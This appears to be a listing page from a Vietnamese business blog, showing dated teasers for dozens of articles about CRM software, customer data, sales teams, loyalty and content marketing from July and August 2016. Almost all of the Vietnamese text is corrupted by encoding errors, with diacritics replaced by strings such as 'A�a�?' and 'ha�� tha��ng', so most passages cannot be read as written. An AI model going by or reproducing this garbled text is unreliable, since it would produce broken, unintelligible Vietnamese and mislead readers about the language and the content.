Va??n A�a�? ba??o ma?�t da�? lia��u khA?ch hA�ng khA?ng pha??i lA� ma��t va??n A�a�? ma��i nh?�ng trong quA? trA�nh va?�n hA�nh ha�� tha��ng CRM cA?c cA?ng ty va?�n th?�a�?ng hay ga?�p pha??i va??n A�a�? nA�y. Da�? lia��u khA?ch hA�ng lA� ma��t ngua��n tA�i nguyA?n quA? ca��a ma��i cA?ng ty. Cha�? “quA?” a�Y A�A?y khA?ng cha�� […]

Tư vấn
August 8, 2016

A?o l?�a�?ng hia��u qua?? ca��a ha�� tha��ng CRM

Via��c xA?y da��ng vA� tria�?n khai ha�� tha��ng CRM mang ra??t nhia�?u ra��i ro.A�Ngay ca?? khi ba??n hoA�n thA�nh ta??t ca?? cA?c b?�a��c ca?�n thia??t A�a�? tria�?n khai ha�� tha��ng va��i cA?c phA?ng ban hoa?�c ba�� pha?�n thA�ch ha�?p thA� da�� A?n CRM ca��a ba??n cA�ng khA?ng A�?�a�?c A�a??m ba??o sa?? thA�nh cA?ng. VA� A�a��i […]

Tư vấn
August 5, 2016

Qua??n lA? quan ha�� khA?ch hA�ng hia��u qua?? va��i CRM

Qua??n lA? ta��t ma��i quan ha�� va��i khA?ch hA�ng lA� A�ia�?u kia��n tiA?n quya??t A�a�? a��n A�a��nh vA� ma�Y ra��ng kinh doanh, duy trA� th?�??ng hia��u vA� duy trA�, ma�Y ra��ng tha�� pha?�n. Doanh nghia��p na�� la��c ca??i thia��n ca??m nha?�n ca��a khA?ch hA�ng va�? sa??n pha?�m, da��ch va�?, trA?nh nha�?ng pha??n ha��i tiA?u ca��c […]

Tư vấn
August 5, 2016

TA?ng doanh sa�� vA� la�?i nhua?�n va��i CRM

Pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng CRM (Customer Relationship Management) mang A�a??n nhia�?u tA�nh nA?ng h??n ma��t cua��n danh ba?? qua??n lA? thA?ng tin liA?n la??c khA?ch hA�ng thA?ng th?�a�?ng. A?a��i va��i A�a��i ngA� bA?n hA�ng, ha�� tha��ng CRM lA� ma��t ngua��n tA�i nguyA?n quA?. D?�a��i A�A?y lA� ma��t vA�i cA?ch nha�?ng nhA?n […]

Tư vấn
August 4, 2016

CRM ta��i ?�u hA?a quy trA�nh chuya�?n A�a��i khA?ch hA�ng ma�?c tiA?u

CA?c cA?ng ty thua��c ma�?i ngA�nh va��i ma�?i quy mA? A�a�?u A�ang ca�� ga??ng ta?�n da�?ng ha??t nha�?ng hia��u qua?? mA� cA?c pha?�n ma�?m ta�� A�a��ng mang la??i. CA�ng nh?� va��i pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng, ba??n cA? tha�? sa??p xa??p pha?�n ma�?m xa�� lA? nha�?ng cA?ng via��c la?�p A�i la?�p la??i […]

Tư vấn
August 4, 2016

Ta??o sa�� khA?c bia��t cho ha�� tha��ng CRM

Trong tha�� tr?�a�?ng hia��n nay, cA?c doanh nghia��p mua��n ca??nh tranh A�a�?u ca?�n cA? sa�� khA?c bia��t: khA?c bia��t trong sa??n pha?�m, khA?c bia��t trong A�a?�c tr?�ng th?�??ng hia��u, khA?c bia��t a�Y cA?c ch?�??ng trA�nh marketing vA� tha?�m chA� lA� ha�� tha��ng CRM cA�ng ca?�n khA?c bia��t. CA? ra??t nhia�?u cA?ch A�a�? ta??o sa�� khA?c […]

Tư vấn
August 3, 2016

Kia�?m tra hia��u qua?? ca��a ha�� tha��ng CRM

Khi ma��t ha�� tha��ng kinh doanh phA?t tria�?n vA� ma�Y ra��ng cha??c cha??n sa?? phA?t sinh thA?m nha�?ng yA?u ca?�u ma��i trong cA?ng via��c, nha??t lA� va��i cA?c cA?ng ca�? ha�� tra�? bA?n hA�ng. Hoa??t A�a��ng kinh doanh ma�Y ra��ng ca?? va�? doanh sa�� hoa?�c A�a��a bA�n A�a�?u A�A?i ha�?i a�Y pha?�n ma�?m CRM nha�?ng […]

Tư vấn
August 3, 2016

La??y khA?ch hA�ng lA�m trung tA?m – chia??n l?�a�?c marketing hia��n A�a??i

Song song va��i sa�� phA?t tria�?n ca��a tha�� tr?�a�?ng lA� sa�� ra A�a�?i ca��a cA?c loa??i hoa??t A�a��ng Marketing. Na??u nh?� tr?�a��c kia tha�� tr?�a�?ng ta?�p trung ca��a ng?�a�?i bA?n thA� ngA�y nay tha�� tr?�a�?ng hia��n A�a??i lA� tha�� tr?�a�?ng ca��a ng?�a�?i mua. Na??u nh?� tr?�a��c kia, doanh nghia��p cha�� ca?�n lo sa??n xua??t cA�ng […]

Tư vấn
August 2, 2016

A?ia��n toA?n A�A?m mA?y A�A? lA�m thay A�a��i CRM nh?� tha?? nA�o?

Via��c la��a cha�?n ma��t pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng CRM (Customer Relationship Management) phA? ha�?p khA?ng pha??i A�ia�?u da�� dA�ng. Ba??n pha??i xem xA�t ra??t nhia�?u ya??u ta�� khA?c nhau nh?� ngA?n sA?ch cho ha�� tha��ng CRM, cA?c tA�nh nA?ng ca��a pha?�n ma�?m cA? A�A?p a��ng A�?�a�?c yA?u ca?�u kinh doanh hay […]

Tư vấn
August 1, 2016

Sa�� khA?c bia��t trong ha�� tha��ng tA�i lia��u bA?n hA�ng a�Y cA?c cA?ng ty

Da�? lia��u khA?ch hA�ng lA� ma��t ngua��n tA�i nguyA?n vA? giA? ca��a ma��i cA?ng ty. TA?y vA�o quy mA? cA�ng nh?� mA? hA�nh hoa??t A�a��ng mA� cA?c cA?ng ty xA?y da��ng cho mA�nh ma��t kho da�? lia��u khA?ch hA�ng cA? chia�?u sA?u hoa?�c chia�?u ra��ng riA?ng. a�z cA?c cA?ng ty nha�?, th?�a�?ng ha�? cha�� ta?�p […]

Tư vấn
August 1, 2016

Da�? lia��u khA?ch hA�ng “bia??t nA?i” va��i CRM

Trong kinh doanh ngA�y nay, cA? trong tay da�? lia��u khA?ch hA�ng cA? tha�? coi lA� A�A? na??m cha??c 50% pha?�n tha??ng trong cua��c chia??n ca??nh tranh ngA�y cA�ng kha��c lia��t. Va?�y ta??i sao ma��t sa�� doanh nghia��p cA? trong tay ma��t l?�a�?ng c?? sa�Y da�? lia��u khA?ch hA�ng la��n mA� va?�n tha??t ba??i? A?A? […]

Tư vấn
July 30, 2016

BA?n hA�ng thA�nh cA?ng va��i CRM

Va��i sa�� bA?ng na�� ca��a internet vA� ma??ng xA? ha��i, cA�ng ngA�y khA?ch hA�ng cA�ng cA? xu h?�a��ng thA�ch mua sa??m tra��c tuya??n thay vA� ta��i mua ta??i ca��a hA�ng. A?ia�?u nA�y va��a ma�Y ra c?? ha��i, la??i va��a lA� thA?ch tha��c cho cA?c doanh nghia��p. Na??u tr?�a��c kia cha�� ca?�n cA? sa??n pha?�m ta��t, […]

Tư vấn
July 29, 2016

Khi nA�o ha�� tha��ng CRM ca��a ba??n ca?�n nA?ng ca??p?

Va�? lA? thuya??t, CRM lA� cA?ng ca�? ha�?u A�ch ha�� tra�? cho cA?c ba�� pha?�n trong ha�� tha��ng bA?n hA�ng bao ga��m ba�� pha?�n sales, marketing vA� chA?m sA?c khA?ch hA�ng. CRM cA�ng lA� cA?ng ca�? cA?c nhA� qua??n lA? sa�� da�?ng A�a�? va?�n hA�nh ha�� tha��ng. Tuy nhiA?n, trA?n tha��c ta?? ma��t gia??i phA?p […]

Tư vấn
July 29, 2016

6 ma??o tA?ng hia��u qua?? cho ha�� tha��ng CRM ca��a ba??n

Pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng CRM (Customer Relationship Management) A�a?�c bia��t ha�?u A�ch A�a��i va��i nha�?ng doanh nghia��p cA? A�a��i ngA� bA?n hA�ng ta��t vA� A�ang da?�n tra�Y thA�nh cA?ng ca�? thia??t ya??u A�a��i va��i ma��i nhA?n viA?n sales. Tuy va?�y, ma��t sa�� cA?ng ty la??i ch?�a bia??t ta?�n da�?ng ha??t nha�?ng […]

Tư vấn
July 28, 2016

LA? do ma��t sa�� cA?ng ty tha??t ba??i va��i CRM – LA�m tha?? nA�o A�a�? khA?ng tra�Y thA�nh 1 trong sa�� ha�??

KhA?ng tha�? pha�� nha?�n nha�?ng la�?i A�ch CRM mang la??i cho ta??t ca?? cA?c cA?ng ty, tha?? nh?�ng khA?ng pha??i cA?ng ty nA�o cA�ng khai thA?c A�?�a�?c nha�?ng la�?i A�ch a??y ta�� CRM. May ma??n lA� via��c A?p da�?ng pha?�n ma�?m vA�o ba�� mA?y kinh doanh khA?ng quA? pha��c ta??p nh?�ng A�A?ng tia??c lA� A�A?i […]

Tư vấn
July 28, 2016

5 cA?ch A�a�? cA? A�?�a�?c ma��t ha�� tha��ng CRM nhanh h??n

Trung bA�nh ma��i cA?ng ty sa?? ma??t khoa??ng 6 thA?ng cho via��c tria�?n khai ma��t da�� A?n CRM ma��i. CA? nha�?ng cA?ng ty cha�� ca?�n 4 thA?ng A�a�? ha�� tha��ng va?�n hA�nh tr??n tru nh?�ng cA�ng cA? nha�?ng cA?ng ty loay hoay ma??t h??n ma��t nA?m mA� da�� A?n va?�n dang da�Y. D?�a��i A�A?y lA� […]

Tư vấn
July 27, 2016

XA?y da��ng nha�?ng ma��i quan ha�� ta��t h??n va��i CRM

CRM lA�A�pha?�n ma�?m giA?p cA?c cA?ng ty qua??n lA? da�? lia��u kinh doanh ca��a ha�? hia��u qua?? h??n vA� A�a??t A�?�a�?c ma��t sa�� hia�?u bia??t ta��t h??n va�? nha�?ng gA� khA?ch hA�ng mong mua��n. Bia??t A�?�a�?c nha�?ng gA� khA?ch hA�ng yA?u thA�ch, mong mua��n lA� A�ia�?u ta��i quan tra�?ng trong na�?n kinh ta?? ca??nh tranh […]

Tư vấn
July 27, 2016

7 A�ia�?u khA?ch hA�ng mua��n ba??n bia??t va�? ha�?

Hia�?u va�? khA?ch hA�ng vA� xA?y da��ng lA?ng trung thA�nh ca��a ha�?A�lA� A�ia�?u ta??t ca?? cA?c doanh nghia��p A�a�?u h?�a��ng ta��i. Tha?? nh?�ng ba??n A�A? tha��c sa�� hia�?u va�? khA?ch hA�ng ca��a mA�nh? Theo nha�?ng nghiA?n ca��u ma��i A�A?y ca��a Help Scout, d?�a��i A�A?y lA� 10 A�ia�?u ba??n ca?�n bia??t A�a�? hia�?u rA� h??n va�? […]

Tư vấn
July 27, 2016

Ka??t ha�?p CRM vA� ka?? hoa??ch Content Marketing

Hia��n nay ra??t nhia�?u doanh nghia��p A�A? thA�nh cA?ng va��i Inbound Marketing. Hia�?u va�? khA?ch hA�ng, xA?y da��ng ma��t kho na��i dung ha�?u A�ch A�a�? thu hA?t khA?ch hA�ng tin t?�a�Yng th?�??ng hia��u vA� qua??ng bA? na��i dung theo A�A?ng kA?nh, A�A?ng cA?ch, a�Y A�A?ng tha�?i A�ia�?m. CA?c pha?�n ma�?m chuyA?n da�?ng ra A�a�?i cho […]

Tư vấn
July 26, 2016

Khi nA�o ba??n sa?? ca?�n ma��t a��ng da�?ng ta�� A�a��ng hA?a?

Trong tha�?i A�a??i bA?ng na�� cA?ng ngha�� thA?ng tin hia��n nay, nha�?ng cA?ng ngha�� ta�� A�a��ng hA?a A�A? giA?p cA?c doanh nghia��p tia??t kia��m A�?�a�?c ma��t l?�a�?ng ngua��n la��c A�A?ng ka�?. Via��c a��ng da�?ng cA?ng ngha�� ta�� A�a��ng hA?a nghe thA� cA? va?� da�� dA�ng nh?�ng tha��c ta?? a��ng da�?ng a�Y quy trA�nh nA�o hay […]

Tư vấn
July 22, 2016

CRM – gia??i phA?p chinh pha�?c khA?ch hA�ng ma��i

Pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng CRM (Customer Relationship Management) A�ang lA� ma��t gia??i phA?p pha�� bia??n cA?c cA?ng ty sa�� da�?ng A�a�? thu hA?t khA?ch hA�ng ma��i. Pha?�n ma�?m CRM A�ang ngA�y cA�ng phA?t huy hia��u qua?? trong via��c giA?p cA?c doanh nghia��p tia??p ca?�n khA?ch hA�ng tia�?m nA?ng thA?ng qua nhia�?u […]

Tư vấn
July 22, 2016

Ca??i thia��n ka?? hoa??ch sa??n xua??t va��i CRM

Hia��n nay ngoA�i nha�?ng va??n A�a�? va�? khA?ch hA�ng, A�a��i tA?c thA� sa�� ka??t na��i gia�?a cA?c ba�� pha?�n, phA?ng ban cA�ng A�ang lA� va??n A�a�? khia??n nha�?ng nhA� qua??n tra�� pha??i A�au A�a?�u. A?a�? cA? ma��t quy trA�nh kinh doanh va?�n hA�nh hia��u qua?? thA� via��c truya�?n thA?ng na��i ba�� pha??i A�?�a�?c duy trA� […]

Tư vấn
July 21, 2016

XA?y da��ng Content Marketing va��i CRM

Ca�� ga??ng bA?n hA�ng cho nha�?ng ng?�a�?i khA?ng cA? nhu ca?�u gA?y ra sa�� lA?ng phA� tha�?i gian, tia�?n ba??c la?�n ngua��n la��c. Trong tha�� tr?�a�?ng bA?o hA?a hia��n nay, khA?ch hA�ng cA? ra??t nhia�?u sa�� la��a cha�?n. Ha�? tA�m kia??m thA?ng tin tr?�a��c khi quya??t A�a��nh mua sa??n pha?�m A�A?p a��ng ta��t nha??t nhu […]

Tư vấn
July 21, 2016

5 A�a?�c tr?�ng ca?�n xem xA�t khi la��a cha�?n pha?�n ma�?m CRM

A?a�? tria�?n khai thA�nh cA?ng ma��t ha�� tha��ng qua??n lA? quan ha�� khA?ch hA�ng CRM (Customer Relationship Management) nghA�a lA� ba??n pha??i ba�? ra ma��t khoa??n A�a?�u t?� la��n cho via��c mua pha?�n ma�?m cA�ng nh?� cA?c thia??t ba�� ha�� tra�?, cA?ng va��i A�A? lA� via��c A�A�o ta??o A�a��i ngA� nhA?n viA?n sa�� da�?ng vA� […]

Tư vấn
July 20, 2016

Sa�� da�?ng CRM A�a�? cA? ma��t khA?ch hA�ng trung thA�nh

NgA�y nay khi tha�� tr?�a�?ng bA?ng na�� bA?n ca??nh sa�� phA?t tria�?n ca��a internet, khA?ch hA�ng ngA�y cA�ng cA? nhia�?u sa�� la��a cha�?n nhA?n hA�ng cho nha�?ng sa??n pha?�m mA�nh ca?�n. CA?c cA?ng ty ngA�y cA�ng ga?�p khA? khA?n trong via��c gia�? chA?n khA?ch hA�ng quay la??i mua hA�ng. Nha�?ng khA?ch hA�ng trung thA�nh khA?ng […]

Tư vấn
July 20, 2016

Social CRM cho nha�?ng doanh nghia��p nha�?

Theo bA?o cA?o ca��a cA?ng ty nghiA?n ca��u tha�� tr?�a�?ngA�Nucleus Research, doanh nghia��p ca??i thia��n 26.4% doanh sa�� bA?n hA�ng khi ma�Y ra��ng tia??p ca?�n va��i khA?ch hA�ng thA?ng qua cA?c kA?nh di A�a��ng vA� ma??ng xA? ha��i. CRM Social lA� cA?ng ca�? tA�ch ha�?p ha�� tha��ng CRM vA� ma??ng xA? ha��i, mang la??i cho […]

Tư vấn
July 19, 2016

4 la�?i A�ch hA�ng A�a?�u ca��a CRM va��i ngA�nh Y ta??

Pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng CRM lA� ma��t cA?ng ca�? thia??t ya??u trong ma�?i ngA�nh cA?ng nghia��p, bao ga��m ca?? ngA�nh y ta??. CRM giA?p ca??i thia��n sa�� hA�i lA?ng ca��a ba��nh nhA?n, giA?p kia�?m soA?t chi phA� vA� cung ca??p cA?i nhA�n sA?u sa??c vA�o ca��ng A�a��ng ba��nh nhA?n ca��a ba??n. […]

Tư vấn
July 19, 2016

6 tA�nh nA?ng ta�� A�a��ng ca��a CRM

Pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng CRM (Customer Relationship Management) A�ang ngA�y cA�ng A�?�a�?c nhia�?u doanh nghia��p yA?u thA�ch. KhA?ng cha�� qua??n lA? danh sA?ch khA?ch hA�ng A�??n thua?�n, pha?�n ma�?m CRM cA?n A�?�a�?c tA�ch ha�?p nha�?ng tA�nh nA?ng ta�� A�a��ng hA?a, a��ng da�?ng trong nhia�?u nghia��p va�? ha�� tra�? cho ba�� mA?y […]

Tư vấn
July 18, 2016

LA�m tha?? nA�o A�a�? da�? lia��u khA?ch hA�ng minh ba??ch vA� A�A?ng tin ca?�y?

Trong ma��t cua��c nghiA?n ca��u ma��i A�A?y ca��a cA?ng ty nghiA?n ca��u tha�� tr?�a�?ng Verint khi tia??n hA�nh kha??o sA?t 18000 khA?ch hA�ng trA?n 9 qua��c gia khA?c nhau, ga?�n ma��t na��a (48%) sa�� nha�?ng ng?�a�?i A�?�a�?c ha�?i cho bia??t ha�? nghi nga�? va�? cA?ch tha��c cA?c cA?ng ty sa�� da�?ng thA?ng tin ca��a ha�?. […]

Tư vấn
July 18, 2016

4 cA?ch thA?c A�a?�y ba�� pha?�n da��ch va�? khA?ch hA�ng lA�m via��c ta��t h??n

Cha??t l?�a�?ng da��ch va�? khA?ch hA�ng pha�? thua��c vA�o nha�?ng gA� khA?ch hA�ng ca??m nha?�n trong quA? trA�nh A�?�a�?c cung ca??p da��ch va�?. A?ia�?u nA�y pha�? thua��c ra??t nhia�?u vA�o kha?? nA?ng cA�ng nh?� ka�? nA?ngA�ca��a nhA?n viA?n chA?m sA?c khA?ch hA�ng. A?a�? lA�m da��ch va�? khA?ch hA�ng ta��t h??n, ba??n cA? tha�?A�cung ca??p choA�nhA?n […]

Tư vấn
July 18, 2016

Ca??i thia��n ka??t qua?? kinh doanh va��i CRM

Pha?�n ma�?m qua??n lA? khA?ch hA�ng CRM (Customer Relationship Management) lA� a��ng da�?ng giA?p cho via��c qua??n lA? cA?ng ty tra�Y nA?n A�??n gia??n. DA? va��i doanh nghia��p la��n hay nha�?, ha�� tha��ng CRM khA?ng cha�� A�?�a�?c a��ng da�?ng A�a�? l?�u tra�? thA?ng tin khA?ch hA�ng mA� cA?n giA?p thA?c A�a?�y bA?n hA�ng vA� tA?ng […]

Tư vấn
July 16, 2016

Tha??t ba??i trong via��c tria�?n khai CRM – Nha�?ng nguyA?n nhA?n vA� cA?ch kha??c pha�?c

Pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng CRM (Customer Relationship Management) giA?p l?�u tra�? thA?ng tin khA?ch hA�ng vA� sa??p xa??p nhia�?u quy trA�nh bA?n hA�ng trong cA?ng ty ma��t cA?ch khoa ha�?c. Tuy nhiA?n, cA? ra??t nhia�?u doanh nghia��p ga?�p pha??i tha??t ba??i trong via��c tria�?n khai CRM. Ma��t sa�� da�� A?n tha??t […]

Tư vấn
July 16, 2016

5 la�?i A�ch CRM Mobile mang la??i cho nha�?ng doanh nghia��p nha�?

CA?ng ngha�� A�A? ta??o ra ma��t sA?n ch??i bA�nh A�a??ng cho ta??t ca?? tha�� tr?�a�?ng. Doanh nghia��p nha�? hoA�n toA�n cA? tha�? ca??nh tranh va��i cA?c doanh nghia��p la��n, cha�� ca?�n ha�? bia??t ta?�n da�?ng cA?ng ngha�� trong chia??n l?�a�?c kinh doanh ca��a mA�nh. CRM Mobile lA� ma��t cA?ng ca�? A�a??c la��c ha�� tra�? ha�? […]

Tư vấn
July 15, 2016

CA?ng ngha�� A�A? lA�m thay A�a��i da��ch va�? khA?ch hA�ng nh?� tha?? nA�o?

Na??u nh?� tr?�a��c kia cA?c cA?ng ty lA�m da��ch va�? khA?ch hA�ng thA?ng qua via��c tia??p xA?c tra��c tia??p va��i khA?ch hA�ng ta??i ca��a hA�ng hay thA?ng qua cA?c cua��c ga�?i thA� ngA�y nay, khi cA?ng ngha�� thA?ng tin phA?t tria�?n, khA?ng gian A�a�? doanh nghia��p ga?�p ga�? khA?ch hA�ng ga?�n nh?� lA� vA? ta?�n. […]

Tư vấn
July 15, 2016

Ma�Y ra��ng kinh doanh va��i CRM

Ma�Y ra��ng tha�� tr?�a�?ng, phA?t tria�?n sa??n pha?�m ma��i, tA?ng doanh thu vA� ma�Y ra��ng sa??n xua??t luA?n lA� nha�?ng ma�?c tiA?u cA?c doanh nghia��p h?�a��ng ta��i. Pha?�n ma�?m qua??n lA? khA?ch hA�ng CRM ma��i va��i nha�?ng tA�nh nA?ng v?�a�?t tra��i A�ang da?�n tra�Y thA�nh ma��t tra�? tha�� A�a??c la��c cho nhA� qua??n lA? A�a�? […]

Tư vấn
July 14, 2016

4 lA? do nhA?n viA?n bA?n hA�ng ngA�y cA�ng yA?u thA�ch CRM

A?a�? lA�m nA?n sa�� thA�nh cA?ng cho doanh nghia��p lA� nha�?ng na�� la��c ca��a ca?? lA?nh A�a??o vA� A�a��i ngA� nhA?n viA?n. NhA?n viA?n lA�m via��c cA�ng chA?m cha�� cA�ng mang la??i hia��u qua?? cao. Tha?? nh?�ng a�Y tha�?i A�a??i cA?ng ngha�� phA?t tria�?n, mA?y mA?c, pha?�n ma�?m A�A? da?�n lA�m thay cA?ng via��c ca��a […]

Tư vấn
July 14, 2016

CRM va��i tha�� tr?�a�?ng bA?n la?�

Tha�� tr?�a�?ng bA?n la?� A�ang cha��ng kia??n sa�� ganh A�ua quya??t lia��t ca��a hA�ng trA?m th?�??ng hia��u la��n nha�?. Na??u nh?� tr?�a��c kia ng?�a�?i ta cha�� ta?�p trung ma�?i na�� la��c A�a�? bA?n A�?�a�?c cA�ng nhia�?u hA�ng cA�ng ta��t thA� ngA�y nayA�trong ba��i ca??nh cA? quA? nhia�?u nhA� cung ca??p, khA?ch hA�ng cA? ra??t nhia�?u […]

Tư vấn
July 14, 2016

6 b?�a��c A�a�? cA? A�?�a�?c ma��t khA?ch hA�ng trung thA�nh

Theo tha��ng kA? ta��A�Tr?�a�?ng A?a??i hocA�Havard, khi ta�� la�� gia�? chA?n khA?ch hA�ng tA?ng 5% thA� la�?i nhua?�n sa?? tA?ng 25-95%.A�Con sa�� nA�y ra??t ca?�n A�?�a�?c xem xA�t khi A�A?nh giA? cA?c chia??n l?�a�?c duy trA� sa�� trung thA�nh ca��a khA?ch hA�ng. Trong tha�� tr?�a�?ng hia��n nay, khA?ch hA�ng cA? ra??t nhia�?u la��a cha�?n, ha�? […]

Tư vấn
July 14, 2016

5 lA? do CRM A�ang tra�Y nA?n quan tra�?ng h??n bao gia�? ha??t

CA?ng ngha�� ngA�y cA�ng phA?t tria�?n A�ang lA�m thay A�a��i ba??n cha??t sa�� t?�??ng tA?c gia�?a khA?ch hA�ng vA� doanh nghia��p. CA?c doanh nghia��p ca?�n cA?c ha�� tha��ng tinh vi vA� hia��n A�a??i h??n A�a�? cA? tha�? ca??nh tranh na??u khA?ng mua��n ba�� ta�?t la??i phA�a sau. Pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng […]

Tư vấn
July 14, 2016

7 la�?i A�ch A�A?ng nga??c nhiA?n ca��a CRM social

Hia��n nay cA? khoa??ng 2,3 ta�� ng?�a�?i sa�� da�?ng th?�a�?ng xuyA?n cA?c ma??ng xA? ha��i. Ga?�n 2 ta�� ng?�a�?i sa�� da�?ng ma??ng xA? ha��i ta�� thia??t ba�� di A�a��ng.A�ChA�nh cA?c ma??ng xA? ha��i, trong A�A? cA? LinkedIn, Twitter vA� Facebook,… cA? tha�? cha��aA�ma��t kho da�? lia��u kha��ng la�� nha�?ng thA?ng tinA�ca��a khA?ch hA�ng bao ga��m […]

Tư vấn
July 13, 2016

LA? do ba??n nA?n dA?ng tha�� tr?�a��c khi tria�?n khai pha?�n ma�?m CRM

Pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng CRM A�ang ngA�y cA�ng pha�� bia??n vA� tra�Y nA?n quan tra�?ng trong ma��i cA?ng ty, nha??t lA� va��i ba�� pha?�n bA?n hA�ng. Via��c tria�?n khai pha?�n ma�?m CRM A�A?i ha�?i doanh nghia��p ba??n pha??i A�a?�u t?� ca?? va�? tha�?i gian, tia�?n ba??c la?�n ngua��n la��c A�a�? A�a??t […]

Tư vấn
July 13, 2016

CRM a�Y cA?c doanh nghia��p B2B vA� B2C

CA?c doanh nghia��p B2B vA� B2C cA? cA?c cA?ch bA?n hA�ng hoA�n toA�n khA?c nhau. Na??u khA?ch hA�ng ca��a cA?c doanh nghia��p B2B (Business to Business) lA� cA?c A�??n va�� kinh doanh thA� khA?ch hA�ng ca��a cA?c doanh nghia��p B2C (Business to Consumer) la??i lA� nha�?ng cA? nhA?n tiA?u dA?ng. ChA�nh vA� A�a��i t?�a�?ng khA?ch […]

Tư vấn
July 13, 2016

4 cA?ch ka??t ha�?p CRM vA� phA?n khA?c khA?ch hA�ng A�a�? cA? hia��u qua?? kinh doanh cao nha??t

PhA?n khA?c khA?ch hA�ng lA� via��c ba??n phA?n chia khA?ch hA�ng thA�nh ta��ng nhA?m cA? nha�?ng A�a?�c A�ia�?m gia��ng nhau va�? A�a��a lA?, tua��i tA?c, thu nha?�p, hA�nh vi, sa�Y thA�ch hoa?�c pha??n a��ng ca��a ha�? va��i nha�?ng hoa??t A�a��ng marketing. Ta�� A�A? cA? cA?c ch?�??ng trA�nh marketing nha??m ta��i ta��ng nhA?m khA?ch hA�ng ma��t […]

Tư vấn
July 13, 2016

5 tA�nh nA?ng nhA?n viA?n bA?n hA�ng mua��n cA? a�Y CRM

Trong tha�?i bua��i kinh ta?? tha�� tr?�a�?ng hia��n nay, sa�� ca??nh tranh trong via��c bA?n hA�ng ngA�y cA�ng cao. A?a�? A�a??t hia��u qua?? kinh doanh, ngoA�i via��c nA?ng cao kinh nghia��m, cA?c nhA?n viA?n bA?n hA�ng ca?�n cA? sa�� ha�� tra�? ca��a cA?c gia??i phA?p cA?ng ngha��. A?A? lA� lA? do pha?�n ma�?m qua??n lA? […]

Tư vấn
July 12, 2016

4 khA? khA?n nhA?n viA?n bA?n hA�ng th?�a�?ng ga?�p pha??i va��i CRM

Ma��i cA?ng ty cA? ma��t cA?ch ta�� cha��c, lA�m via��c khA?c nhau, vA� va?�y mA� cA?ch sa�� da�?ng pha?�n ma�?m CRM ca��a ha�? cA�ng khA?c nhau. Ng?�a�?i sa�� da�?ng pha?�n ma�?m CRM nhia�?u nha??t ngoA�i ca??p qua??n lA? cA? la?? lA� nhA?n viA?n bA?n hA�ng. CRM ha�� tra�? ra??t ta��t cho ha�? trong nha�?ng la?�n […]

Tư vấn
July 12, 2016

CA? da�? lia��u khA?ch hA�ng – na??m trong tay ma��t na��a c?? ha��i chia??n tha??ng

KhA?ch hA�ng luA?n A�?�a�?c xem lA� ngua��n tA�i nguyA?n quA? giA? ca��a ma��i cA?ng ty. Tuy nhiA?n hA�ng ngA�y khA?ch hA�ng ca��a chA?ng ta A�a�?u A�ang ba�� lA�m phia�?n ba�Yi quA? nhia�?u tin nha??n SPAM. Ma��i cA?ng ty khi cha??y cA?c ch?�??ng trA�nh marketing ta�� A�a��ng (email marketing, SMS marketing) A�a�?u cho ra?�ng, trong sa�� […]

Tư vấn
July 12, 2016

T?�??ng lai ca��a CRM

Qua??n lA? quan ha�� khA?ch hA�ng (CRM) A�ang da?�n tra�Y thA�nh ma��t cA?ng ca�? thia??t ya??u ca��a mA?i tr?�a�?ng lA�m via��c hia��n A�a??i. Tuy nhiA?n, nha�?ng tA�nh nA?ng ca��a pha?�n ma�?m CRM hia��n nay ch?�a ha??n sa?? A�A?p a��ng A�?�a�?c cA?c yA?u ca?�u cA?ng via��c trong t?�??ng lai. A?A? lA� lA? do mA� CRM pha??i […]

Tư vấn
July 12, 2016

NA?n xA?y da��ng ma��t a�?khA?ch hA�ng thA?n thia??ta�? hay ma��t a�?ha��i viA?n th?�??ng hia��ua�??

H??n ca?? sa�� tin dA?ng ca��a khA?ch hA�ng, sa�� trung thA�nh ca��a cA?c ha��i viA?n th?�??ng hia��u luA?n lA� A�ia�?u mA� cA?c doanh nghia��p ca�� ga??ng A�a??t A�?�a�?c. Na??u nh?� chA?ng ta cA? tha�? sa�� da�?ng pha?�n ma�?m CRM A�a�? xA?y da��ng ma��i quan ha�� va��i khA?ch hA�ng thA� va��i cA?c tA�nh nA?ng ca��a pha?�n […]

Tư vấn
July 11, 2016

Sa�� da�?ng CRM A�a�? A�a??o chia�?u via��c sa�?t gia??m doanh sa��

Theo ta��ng ca�?c tha��ng kA?, hia��n nay trA?n tha�� tr?�a�?ng Via��t Nam cA? h??n 400.000 doanh nghia��p A�ang hoa??t A�a��ng vA� A�ia�?u A�A?ng nga??c nhiA?n lA� cha�� ma��t na��a trong sa�� A�A? ta��n ta??i A�?�a�?c ta��i 5 nA?m, cha�� ma��t pha?�n ba trong sa�� A�A? hoa??t A�a��ng trA?n 10 nA?m. Sa�� suy gia??m doanh sa�� […]

Tư vấn
  • 1
  • 2
Mobile Analytics